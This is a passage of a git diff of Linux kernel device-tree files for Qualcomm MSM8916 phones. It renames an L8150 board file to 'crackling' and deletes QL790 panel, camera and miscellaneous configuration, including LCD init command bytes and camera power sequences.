qcom,vddmax-mv = <4360>; - qcom,vddsafe-mv = <4380>; - qcom,vinmin-mv = <4470>; - qcom,batt-hot-percentage = <25>; - qcom,batt-cold-percentage = <80>; - qcom,tchg-mins = <150>; - qcom,disable-vbatdet-based-recharge; - status = "okay"; -}; - -&pm8916_bms { - status = "okay"; - qcom,force-bms-active-on-charger; - qcom,battery-data = <&qrd_batterydata>; - -}; - -/ { - qrd_batterydata: qcom,battery-data { - qcom,rpull-up-kohm = <68>; - qcom,vref-batt-therm = <1800000>; - - #include "batterydata-qrd-wk-4v35-2000mah.dtsi" - }; -}; - -&pm8916_gpios { - gpio@c200 { /* GPIO 3 */ - /* External regulator control for WTR */ - status = "ok"; - }; -}; - -/ { - memory { - pstore_reserve_mem: pstore_reserve_region@0 { - linux,reserve-contiguous-region; - linux,reserve-region; - linux,remove-completely; - reg = <0x0 0x8c400000 0x0 0x00100000>; - label = "pstore_reserve_mem"; - }; - }; -}; diff --git a/arch/arm/boot/dts/qcom/msm8916-qrd-l8150.dts b/arch/arm/boot/dts/qcom/msm8916-crackling.dts similarity index 97% rename from arch/arm/boot/dts/qcom/msm8916-qrd-l8150.dts rename to arch/arm/boot/dts/qcom/msm8916-crackling.dts index 607de14dffd2e..178b30a90ea0b 100755 --- a/arch/arm/boot/dts/qcom/msm8916-qrd-l8150.dts +++ b/arch/arm/boot/dts/qcom/msm8916-crackling.dts @@ -14,7 +14,7 @@ #include "msm8916-qrd.dtsi" #include "msm8916-memory.dtsi" -#include "l8150/msm8916-l8150.dtsi" +#include "crackling/msm8916-crackling.dtsi" / { model = "Qualcomm Technologies, Inc. MSM 8916 L8152"; @@ -168,7 +168,7 @@ qcom,rpull-up-kohm = <100>; qcom,vref-batt-therm = <1800000>; - #include "l8150/batterydata-l8150-jd-4v35-2500mah.dtsi" + #include "crackling/batterydata-crackling-jd-4v35-2500mah.dtsi" }; }; diff --git a/arch/arm/boot/dts/qcom/ql790/dsi_panel_dijing_nt35521h_hsd4p7_hd_video.dtsi b/arch/arm/boot/dts/qcom/ql790/dsi_panel_dijing_nt35521h_hsd4p7_hd_video.dtsi deleted file mode 100644 index 29f4a830c05cd..0000000000000 --- a/arch/arm/boot/dts/qcom/ql790/dsi_panel_dijing_nt35521h_hsd4p7_hd_video.dtsi +++ /dev/null @@ -1,270 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -/*--------------------------------------------------------------------------- - * This file is autogenerated file using gcdb parser. Please do not edit it. - * Update input XML file to add a new entry or update variable in this file - * VERSION = "1.0" - *---------------------------------------------------------------------------*/ -/* - Date Author IC Module Why -2015-04-24 xingbin nt35521 dijing add dijing lcd for QL790 -2015-04-24 xingbin nt35521 dijing add code version for QL790 -2015-05-18 xingbin nt35521 dijing modify proch for TCLK-TRAIL -2015-06-01 lihuiqin nt35521h dijing update lcd parameter for vendor's require -2015-06-16 wangjiao nt35521h dijing modify lcd parameter for QL790 -2015-07-03 wangjiao nt35521h dijing modify lcd Gamma parameter for QL790 -2015-07-20 wangjiao nt35521h dijing modify lcd VGL Voltage for band - */ -&mdss_mdp { - nt35521_dijing_4p7inch_hd_vid: qcom,mdss_dijing_nt35521_4p7inch_video { - qcom,mdss-dsi-panel-name = "nt35521_dijing_4p7inch_hd_video_panel"; - qcom,mdss-dsi-panel-code-version="_20150720"; - qcom,mdss-dsi-panel-supply = <1>; //primary:1 second:2 - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <60>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <720>; - qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-dsi-h-front-porch = <60>; - qcom,mdss-dsi-h-back-porch = <60>; - qcom,mdss-dsi-h-pulse-width = <12>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-front-porch = <16>; - qcom,mdss-dsi-v-back-porch = <16>; - qcom,mdss-dsi-v-pulse-width = <2>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <0>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-color-order = <0>; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-pixel-packing = <0>; - qcom,mdss-dsi-on-command = [ - 39 01 00 00 00 00 06 F0 55 AA 52 08 00 - 39 01 00 00 00 00 05 FF AA 55 A5 80 - 39 01 00 00 00 00 03 6F 11 00 - 39 01 00 00 00 00 03 F7 20 00 - 39 01 00 00 00 00 02 6F 01 - 39 01 00 00 00 00 02 B1 21 - 39 01 00 00 00 00 02 C8 80 - 39 01 00 00 00 00 04 D9 00 01 4C - 39 01 00 00 00 00 06 BD 01 A0 0C 08 01 - 39 01 00 00 00 00 02 6F 02 - 39 01 00 00 00 00 02 B8 0C - 39 01 00 00 00 00 03 BB 11 11 - 39 01 00 00 00 00 03 BC 00 00 - 39 01 00 00 00 00 02 B6 01 - 39 01 00 00 00 00 06 F0 55 AA 52 08 01 - 39 01 00 00 00 00 03 B0 0A 0A - 39 01 00 00 00 00 03 B1 0A 0A - 39 01 00 00 00 00 03 BC A0 00 - 39 01 00 00 00 00 03 BD A0 00 - 39 01 00 00 00 00 02 CA 00 - 39 01 00 00 00 00 02 C0 04 - 39 01 00 00 00 00 03 B5 03 03 - 39 01 00 00 00 00 02 BE 7A - 39 01 00 00 00 00 03 B3 28 28 - 39 01 00 00 00 00 03 B4 1C 1C - 39 01 00 00 00 00 03 B8 05 05 - 39 01 00 00 00 00 03 B9 36 36 - 39 01 00 00 00 00 03 BA 15 15 - 39 01 00 00 00 00 06 F0 55 AA 52 08 02 - 39 01 00 00 00 00 02 EE 01 - 39 01 00 00 00 00 11 B0 00 00 00 09 00 1D 00 32 00 41 00 61 00 7E 00 A7 - 39 01 00 00 00 00 11 B1 00 C8 01 01 01 33 01 84 01 C7 01 C9 02 06 02 4C - 39 01 00 00 00 00 11 B2 02 73 02 AC 02 CD 03 01 03 1B 03 44 03 5F 03 78 - 39 01 00 00 00 00 05 B3 03 DF 03 FF - 39 01 00 00 00 00 02 6F 02 - 39 01 00 00 00 00 02 F7 47 - 39 01 00 00 00 00 02 6F 0A - 39 01 00 00 00 00 02 F7 02 - 39 01 00 00 00 00 02 6F 17 - 39 01 00 00 00 00 02 F4 70 - 39 01 00 00 00 00 02 6F 11 - 39 01 00 00 00 00 02 F3 01 - 39 01 00 00 00 00 06 F0 55 AA 52 08 06 - 39 01 00 00 00 00 03 B0 2D 2E - 39 01 00 00 00 00 03 B1 29 2A - 39 01 00 00 00 00 03 B2 16 18 - 39 01 00 00 00 00 03 B3 10 12 - 39 01 00 00 00 00 03 B4 00 31 - 39 01 00 00 00 00 03 B5 31 31 - 39 01 00 00 00 00 03 B6 31 02 - 39 01 00 00 00 00 03 B7 31 31 - 39 01 00 00 00 00 03 B8 31 31 - 39 01 00 00 00 00 03 B9 31 31 - 39 01 00 00 00 00 03 BA 31 31 - 39 01 00 00 00 00 03 BB 31 31 - 39 01 00 00 00 00 03 BC 31 31 - 39 01 00 00 00 00 03 BD 03 31 - 39 01 00 00 00 00 03 BE 31 31 - 39 01 00 00 00 00 03 BF 31 01 - 39 01 00 00 00 00 03 C0 13 11 - 39 01 00 00 00 00 03 C1 19 17 - 39 01 00 00 00 00 03 C2 2A 29 - 39 01 00 00 00 00 03 C3 2E 2D - 39 01 00 00 00 00 03 E5 31 31 - 39 01 00 00 00 00 03 C4 2E 2D - 39 01 00 00 00 00 03 C5 29 2A - 39 01 00 00 00 00 03 C6 13 11 - 39 01 00 00 00 00 03 C7 19 17 - 39 01 00 00 00 00 03 C8 03 31 - 39 01 00 00 00 00 03 C9 31 31 - 39 01 00 00 00 00 03 CA 31 01 - 39 01 00 00 00 00 03 CB 31 31 - 39 01 00 00 00 00 03 CC 31 31 - 39 01 00 00 00 00 03 CD 31 31 - 39 01 00 00 00 00 03 CE 31 31 - 39 01 00 00 00 00 03 CF 31 31 - 39 01 00 00 00 00 03 D0 31 31 - 39 01 00 00 00 00 03 D1 00 31 - 39 01 00 00 00 00 03 D2 31 31 - 39 01 00 00 00 00 03 D3 31 02 - 39 01 00 00 00 00 03 D4 16 18 - 39 01 00 00 00 00 03 D5 10 12 - 39 01 00 00 00 00 03 D6 2A 29 - 39 01 00 00 00 00 03 D7 2D 2E - 39 01 00 00 00 00 03 E6 31 31 - 39 01 00 00 00 00 06 D8 00 00 00 00 00 - 39 01 00 00 00 00 06 D9 00 00 00 00 00 - 39 01 00 00 00 00 02 E7 00 - 39 01 00 00 00 00 06 F0 55 AA 52 08 05 - 39 01 00 00 00 00 02 ED 30 - 39 01 00 00 00 00 06 F0 55 AA 52 08 03 - 39 01 00 00 00 00 03 B1 20 00 - 39 01 00 00 00 00 03 B0 20 00 - 39 01 00 00 00 00 06 F0 55 AA 52 08 05 - 39 01 00 00 00 00 02 E5 00 - 39 01 00 00 00 00 06 F0 55 AA 52 08 05 - 39 01 00 00 00 00 03 B0 17 06 - 39 01 00 00 00 00 02 B8 00 - 39 01 00 00 00 00 03 B1 17 06 - 39 01 00 00 00 00 03 B9 00 03 - 39 01 00 00 00 00 03 B2 17 06 - 39 01 00 00 00 00 03 BA 00 00 - 39 01 00 00 00 00 03 B3 17 06 - 39 01 00 00 00 00 03 BB 02 03 - 39 01 00 00 00 00 03 B4 17 06 - 39 01 00 00 00 00 03 B5 17 06 - 39 01 00 00 00 00 03 B6 17 06 - 39 01 00 00 00 00 03 B7 17 06 - 39 01 00 00 00 00 03 BC 02 03 - 39 01 00 00 00 00 02 E5 06 - 39 01 00 00 00 00 02 E6 06 - 39 01 00 00 00 00 02 E7 00 - 39 01 00 00 00 00 02 E8 06 - 39 01 00 00 00 00 02 E9 06 - 39 01 00 00 00 00 02 EA 06 - 39 01 00 00 00 00 02 EB 00 - 39 01 00 00 00 00 02 EC 00 - 39 01 00 00 00 00 06 F0 55 AA 52 08 05 - 39 01 00 00 00 00 02 C0 0A - 39 01 00 00 00 00 02 C1 08 - 39 01 00 00 00 00 02 C2 A6 - 39 01 00 00 00 00 02 C3 05 - 39 01 00 00 00 00 06 F0 55 AA 52 08 03 - 39 01 00 00 00 00 06 B2 04 00 86 00 00 - 39 01 00 00 00 00 06 B3 04 00 86 00 00 - 39 01 00 00 00 00 06 B4 04 00 17 00 00 - 39 01 00 00 00 00 06 B5 04 00 17 00 00 - 39 01 00 00 00 00 06 F0 55 AA 52 08 05 - 39 01 00 00 00 00 02 C4 00 - 39 01 00 00 00 00 02 C5 02 - 39 01 00 00 00 00 02 C6 22 - 39 01 00 00 00 00 02 C7 03 - 39 01 00 00 00 00 06 F0 55 AA 52 08 03 - 39 01 00 00 00 00 06 B6 02 00 19 00 00 - 39 01 00 00 00 00 06 B7 02 00 19 00 00 - 39 01 00 00 00 00 06 B8 02 00 19 00 00 - 39 01 00 00 00 00 06 B9 02 00 19 00 00 - 39 01 00 00 00 00 06 F0 55 AA 52 08 05 - 39 01 00 00 00 00 03 C8 06 20 - 39 01 00 00 00 00 03 C9 02 20 - 39 01 00 00 00 00 03 CA 01 60 - 39 01 00 00 00 00 03 CB 01 60 - 39 01 00 00 00 00 06 F0 55 AA 52 08 03 - 39 01 00 00 00 00 06 BA 44 00 86 00 00 - 39 01 00 00 00 00 06 BB 44 00 86 00 00 - 39 01 00 00 00 00 06 BC 44 00 1A 00 00 - 39 01 00 00 00 00 06 BD 44 00 1A 00 00 - 39 01 00 00 00 00 06 F0 55 AA 52 08 05 - 39 01 00 00 00 00 06 D1 00 05 01 07 10 - 39 01 00 00 00 00 06 D2 10 05 05 03 10 - 39 01 00 00 00 00 06 D3 20 00 43 07 10 - 39 01 00 00 00 00 06 D4 30 00 43 07 10 - 39 01 00 00 00 00 06 F0 55 AA 52 08 05 - 39 01 00 00 00 00 08 D0 00 00 00 00 00 00 00 - 39 01 00 00 00 00 0c D5 00 00 00 00 00 00 00 00 00 00 00 - 39 01 00 00 00 00 0c D6 00 00 00 00 00 00 00 00 00 00 00 - 39 01 00 00 00 00 0c D7 00 00 00 00 00 00 00 00 00 00 00 - 39 01 00 00 00 00 06 D8 00 00 00 00 00 - 39 01 00 00 00 00 06 F0 55 AA 52 08 05 - 39 01 00 00 00 00 04 CC 00 00 3C - 39 01 00 00 00 00 04 CD 00 00 3C - 39 01 00 00 00 00 04 CE 00 00 3C - 39 01 00 00 00 00 04 CF 00 00 3C - 39 01 00 00 00 00 06 F0 55 AA 52 08 03 - 39 01 00 00 00 00 05 C0 00 34 00 00 - 39 01 00 00 00 00 05 C1 00 00 34 00 - 39 01 00 00 00 00 05 C2 00 00 34 00 - 39 01 00 00 00 00 05 C3 00 00 34 00 - 39 01 00 00 00 00 06 F0 55 AA 52 08 03 - 39 01 00 00 00 00 02 C4 60 - 39 01 00 00 00 00 02 C5 C0 - 39 01 00 00 00 00 02 C6 00 - 39 01 00 00 00 00 02 C7 00 - 39 01 00 00 00 00 02 6F 01 - 39 01 00 00 00 00 02 F9 46 - 39 01 00 00 00 00 06 F0 55 AA 52 08 00 - 05 01 00 00 78 00 02 11 00 - 05 01 00 00 14 00 02 29 00 - 15 01 00 00 01 00 02 53 2c - ]; - qcom,mdss-dsi-off-command = [ - 15 01 00 00 01 00 02 53 24 - 05 01 00 00 14 00 02 28 00 - 05 01 00 00 78 00 02 10 00 - ]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-lp11-init; - qcom,mdss-dsi-h-sync-pulse = <1>; - qcom,mdss-dsi-traffic-mode = <2>; - qcom,mdss-dsi-lane-map = <0>; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-lane-3-state; - qcom,mdss-dsi-panel-timings = [76 1A 10 00 3C 3E 14 1C 12 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x04>; - qcom,mdss-dsi-t-clk-pre = <0x19>; - qcom,mdss-dsi-bl-min-level = <0>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-dma-trigger = <4>; - qcom,mdss-dsi-mdp-trigger = <0>; - qcom,mdss-pan-bl-levels = <1 255>; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_dcs"; - qcom,mdss-dsi-bl-pmic-bank-select = <3>; - qcom,mdss-dsi-bl-pmic-pwm-frequency = <270>; - qcom,mdss-dsi-pwm-gpio = <&pm8916_gpios 6 0>; - qcom,mdss-dsi-reset-sequence = <1 10>, <0 10>, <1 120>; - }; -}; - diff --git a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-camera.dtsi b/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-camera.dtsi deleted file mode 100644 index bf65a3960a38e..0000000000000 --- a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-camera.dtsi +++ /dev/null @@ -1,329 +0,0 @@ -/* - * Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ -&soc { - - led_flash0: qcom,camera-led-flash { - cell-index = <0>; - compatible = "qcom,camera-led-flash"; - qcom,flash-type = <3>; - qcom,flash-source = <&flash_sgm3785>; - qcom,torch-source = <&flash_sgm3785>; - }; - - flash_sgm3785:flashlight { - compatible = "qcom,leds-gpio-flash"; - status = "okay"; - pinctrl-names = "flash_default"; - pinctrl-0 = <&cam_sensor_flash_default>; - qcom,flash-en = <&msm_gpio 32 0>; - qcom,flash-now = <&msm_gpio 31 0>; - qcom,op-seq = "flash_en", "flash_now"; - qcom,torch-seq-val = <0 1>; - qcom,flash-seq-val = <1 1>; - linux,name = "flashlight"; - linux,default-trigger = "flashlight-trigger"; - }; - -}; - -&cci { - - actuator0: qcom,actuator@6e { - cell-index = <3>; - reg = <0x6e>; - compatible = "qcom,actuator"; - qcom,cci-master = <0>; - }; - - eeprom0: qcom,eeprom@6c { - cell-index = <0>; - reg = <0x6c>; - qcom,eeprom-name = "qtech_ov8865_f8865bs"; - compatible = "qcom,eeprom"; - qcom,slave-addr = <0x6c>; - qcom,cci-master = <0>; - qcom,num-blocks = <6>; - - qcom,page0 = <1 0x0100 2 0x01 1 1>; - qcom,poll0 = <0 0x0 2 0 1 1>; - qcom,mem0 = <0 0x0 2 0 1 0>; - - qcom,page1 = <1 0x5002 2 0x00 1 1>; - qcom,poll1 = <0 0x0 2 0 1 1>; - qcom,mem1 = <0 0x0 2 0 1 0>; - - qcom,page2 = <1 0x3d84 2 0xc0 1 1>; - qcom,poll2 = <0 0x0 2 0 1 1>; - qcom,mem2 = <0 0x3d00 2 0 1 0>; - - qcom,page3 = <1 0x3d88 2 0x7010 2 1>; - qcom,poll3 = <0 0x0 2 0 1 1>; - qcom,mem3 = <0 0x3d00 2 0 1 0>; - - qcom,page4 = <1 0x3d8A 2 0x7115 2 1>; - qcom,pageen4 = <1 0x3d81 2 0x01 1 10>; - qcom,poll4 = <0 0x0 2 0 1 1>; - qcom,mem4 = <262 0x7010 2 0 1 1>; - - qcom,page5 = <1 0x5002 2 0x08 1 1>; - qcom,poll5 = <0 0x0 2 0 1 1>; - qcom,mem5 = <0 0x0 2 0 1 0>; - - cam_vdig-supply = <&pm8916_l2>; - cam_vio-supply = <&pm8916_l6>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio"; - qcom,cam-vreg-type = <0 1>; - qcom,cam-vreg-min-voltage = <1200000 1800000>; - qcom,cam-vreg-max-voltage = <1200000 1800000>; - qcom,cam-vreg-op-mode = <140000 140000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk0_default - &cam_sensor_rear_default>; - pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep>; - qcom,gpio-no-mux = <0>; - gpios = <&msm_gpio 26 0>, - <&msm_gpio 35 0>, - <&msm_gpio 34 0>, - <&msm_gpio 51 0>, - <&msm_gpio 121 0>, - <&msm_gpio 120 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-cameraid = <3>; - qcom,gpio-vana = <4>; - qcom,gpio-vdig = <5>; - qcom,gpio-req-tbl-num = <0 1 2 3 4 5>; - qcom,gpio-req-tbl-flags = <1 0 0 1 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_RESET", - "CAM_STANDBY", - "CAM_ID", - "CAM_VANA", - "CAM_VDIG"; - qcom,cam-power-seq-type = "sensor_gpio", - "sensor_gpio", - "sensor_vreg", - "sensor_gpio", - "sensor_vreg", - "sensor_gpio", - "sensor_gpio", - "sensor_gpio", - "sensor_clk", - "sensor_i2c_mux"; - qcom,cam-power-seq-val = "sensor_gpio_standby", - "sensor_gpio_reset", - "cam_vio", - "sensor_gpio_vana", - "cam_vdig", - "sensor_gpio_vdig", - "sensor_gpio_standby", - "sensor_gpio_reset", - "sensor_cam_mclk", - "none"; - qcom,cam-power-seq-cfg-val = <0 0 0 1 0 0 1 1 23880000 0>; - qcom,cam-power-seq-delay = <0 0 1 1 1 1 1 1 10 0>; - clocks = <&clock_gcc clk_mclk0_clk_src>, - <&clock_gcc clk_gcc_camss_mclk0_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; - - eeprom1: qcom,eeprom@6d { - cell-index = <1>; - reg = <0x6d>; - qcom,eeprom-name = "ofilm_ov8865_ohq8a06"; - compatible = "qcom,eeprom"; - qcom,slave-addr = <0x6c>; - qcom,cci-master = <0>; - qcom,num-blocks = <6>; - - qcom,page0 = <1 0x0100 2 0x01 1 1>; - qcom,poll0 = <0 0x0 2 0 1 1>; - qcom,mem0 = <0 0x0 2 0 1 0>; - - qcom,page1 = <1 0x5002 2 0x00 1 1>; - qcom,poll1 = <0 0x0 2 0 1 1>; - qcom,mem1 = <0 0x0 2 0 1 0>; - - qcom,page2 = <1 0x3d84 2 0xc0 1 1>; - qcom,poll2 = <0 0x0 2 0 1 1>; - qcom,mem2 = <0 0x3d00 2 0 1 0>; - - qcom,page3 = <1 0x3d88 2 0x7010 2 1>; - qcom,poll3 = <0 0x0 2 0 1 1>; - qcom,mem3 = <0 0x3d00 2 0 1 0>; - - qcom,page4 = <1 0x3d8A 2 0x70F4 2 1>; - qcom,pageen4 = <1 0x3d81 2 0x01 1 10>; - qcom,poll4 = <0 0x0 2 0 1 1>; - qcom,mem4 = <229 0x7010 2 0 1 1>; - - qcom,page5 = <1 0x5002 2 0x08 1 1>; - qcom,poll5 = <0 0x0 2 0 1 1>; - qcom,mem5 = <0 0x0 2 0 1 0>; - - cam_vdig-supply = <&pm8916_l2>; - cam_vio-supply = <&pm8916_l6>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio"; - qcom,cam-vreg-type = <0 1>; - qcom,cam-vreg-min-voltage = <1200000 1800000>; - qcom,cam-vreg-max-voltage = <1200000 1800000>; - qcom,cam-vreg-op-mode = <140000 140000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk0_default - &cam_sensor_rear_default>; - pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep>; - qcom,gpio-no-mux = <0>; - gpios = <&msm_gpio 26 0>, - <&msm_gpio 35 0>, - <&msm_gpio 34 0>, - <&msm_gpio 51 0>, - <&msm_gpio 121 0>, - <&msm_gpio 120 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-cameraid = <3>; - qcom,gpio-vana = <4>; - qcom,gpio-vdig = <5>; - qcom,gpio-req-tbl-num = <0 1 2 3 4 5>; - qcom,gpio-req-tbl-flags = <1 0 0 1 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_RESET", - "CAM_STANDBY", - "CAM_ID", - "CAM_VANA", - "CAM_VDIG"; - qcom,cam-power-seq-type = "sensor_gpio", - "sensor_gpio", - "sensor_vreg", - "sensor_gpio", - "sensor_vreg", - "sensor_gpio", - "sensor_gpio", - "sensor_gpio", - "sensor_clk", - "sensor_i2c_mux"; - qcom,cam-power-seq-val = "sensor_gpio_standby", - "sensor_gpio_reset", - "cam_vio", - "sensor_gpio_vana", - "cam_vdig", - "sensor_gpio_vdig", - "sensor_gpio_standby", - "sensor_gpio_reset", - "sensor_cam_mclk", - "none"; - qcom,cam-power-seq-cfg-val = <0 0 0 1 0 0 1 1 23880000 0>; - qcom,cam-power-seq-delay = <0 0 1 1 1 1 1 1 10 0>; - clocks = <&clock_gcc clk_mclk0_clk_src>, - <&clock_gcc clk_gcc_camss_mclk0_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; - - qcom,camera@0 { - cell-index = <0>; - compatible = "qcom,camera"; - reg = <0x0>; - qcom,csiphy-sd-index = <0>; - qcom,csid-sd-index = <0>; - qcom,mount-angle = <90>; - qcom,actuator-src = <&actuator0>; - qcom,led-flash-src = <&led_flash0>; - qcom,eeprom-src = <&eeprom0 &eeprom1>; - cam_vdig-supply = <&pm8916_l2>; - cam_vio-supply = <&pm8916_l6>; - cam_vaf-supply = <&pm8916_l10>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vaf"; - qcom,cam-vreg-type = <0 0 0>; - qcom,cam-vreg-min-voltage = <1200000 1800000 2700000>; - qcom,cam-vreg-max-voltage = <1200000 1800000 2800000>; - qcom,cam-vreg-op-mode = <140000 140000 140000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk0_default - &cam_sensor_rear_default>; - pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep>; - gpios = <&msm_gpio 26 0>, - <&msm_gpio 35 0>, - <&msm_gpio 34 0>, - <&msm_gpio 51 0>, - <&msm_gpio 121 0>, - <&msm_gpio 120 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-cameraid = <3>; - qcom,gpio-vana = <4>; - qcom,gpio-vdig = <5>; - qcom,gpio-req-tbl-num = <0 1 2 3 4 5>; - qcom,gpio-req-tbl-flags = <1 0 0 1 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_RESET", - "CAM_STANDBY", - "CAM_ID", - "CAM_VANA", - "CAM_VDIG"; - qcom,sensor-position = <0>; - qcom,sensor-mode = <0>; - qcom,cci-master = <0>; - qcom,mclk-23880000; - status = "ok"; - clocks = <&clock_gcc clk_mclk0_clk_src>, - <&clock_gcc clk_gcc_camss_mclk0_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; - - qcom,camera@1 { - cell-index = <1>; - compatible = "qcom,camera"; - reg = <0x1>; - qcom,csiphy-sd-index = <1>; - qcom,csid-sd-index = <1>; - qcom,mount-angle = <270>; - cam_vdig-supply = <&pm8916_l2>; - cam_vio-supply = <&pm8916_l6>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio"; - qcom,cam-vreg-type = <0 0>; - qcom,cam-vreg-min-voltage = <1200000 1800000>; - qcom,cam-vreg-max-voltage = <1200000 1800000>; - qcom,cam-vreg-op-mode = <140000 140000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk1_default &cam_sensor_front_default>; - pinctrl-1 = <&cam_sensor_mclk1_sleep &cam_sensor_front_sleep>; - gpios = <&msm_gpio 27 0>, - <&msm_gpio 28 0>, - <&msm_gpio 33 0>, - <&msm_gpio 50 0>, - <&msm_gpio 121 0>, - <&msm_gpio 120 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-cameraid = <3>; - qcom,gpio-vana = <4>; - qcom,gpio-vdig = <5>; - qcom,gpio-req-tbl-num = <0 1 2 3 4 5>; - qcom,gpio-req-tbl-flags = <1 0 0 1 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_RESET", - "CAM_STANDBY", - "CAM_ID", - "CAM_VANA", - "CAM_VDIG"; - qcom,sensor-position = <1>; - qcom,sensor-mode = <0>; - qcom,cci-master = <0>; - qcom,mclk-23880000; - status = "ok"; - clocks = <&clock_gcc clk_mclk1_clk_src>, - <&clock_gcc clk_gcc_camss_mclk1_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; -}; - diff --git a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-lcd_panel-settings.dtsi b/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-lcd_panel-settings.dtsi deleted file mode 100644 index 78aa39c929cbe..0000000000000 --- a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-lcd_panel-settings.dtsi +++ /dev/null @@ -1,50 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -/* - * As a general rule, only version-specific property overrides should be placed - * inside this file. However, device definitions should be placed inside the - * yep_product_ql1000_lcd_panel_settings.dtsi file. - */ -/*qcom,dsi-pref-prim-pan is used as default panel if any panel is detected from lk*/ - -/* Date Author Why - 2015-04-14 litao creat - 2015-04-24 lihuiqin add dijing lcd for QL790 - 2015-04-24 lihuiqin modify vsp/vsn gpio for QL790 -*/ -#include "dsi_panel_dijing_nt35521h_hsd4p7_hd_video.dtsi" - -&mdss_mdp { - qcom,mdss-pref-prim-intf = "dsi"; - qcom,mdss-clk-factor = <150 100>; /* 1.5 times */ -}; - -&pmx_mdss { - qcom,num-grp-pins = <1>; - qcom,pins = <&gp 25>; -}; - -&mdss_dsi0 { - qcom,dsi-pref-prim-pan = <&nt35521_dijing_4p7inch_hd_vid>; - pinctrl-names = "mdss_default", "mdss_sleep"; - pinctrl-0 = <&mdss_dsi_active>; - pinctrl-1 = <&mdss_dsi_suspend>; - qcom,platform-enable-gpio = <&msm_gpio 21 0>; - qcom,platform-bklight-en-gpio = <&msm_gpio 20 0>; - qcom,platform-reset-gpio = <&msm_gpio 25 0>; -}; - -&nt35521_dijing_4p7inch_hd_vid{ - qcom,cont-splash-enabled; -}; - diff --git a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-misc.dtsi b/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-misc.dtsi deleted file mode 100644 index 63c938936f1dc..0000000000000 --- a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-misc.dtsi +++ /dev/null @@ -1,178 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free 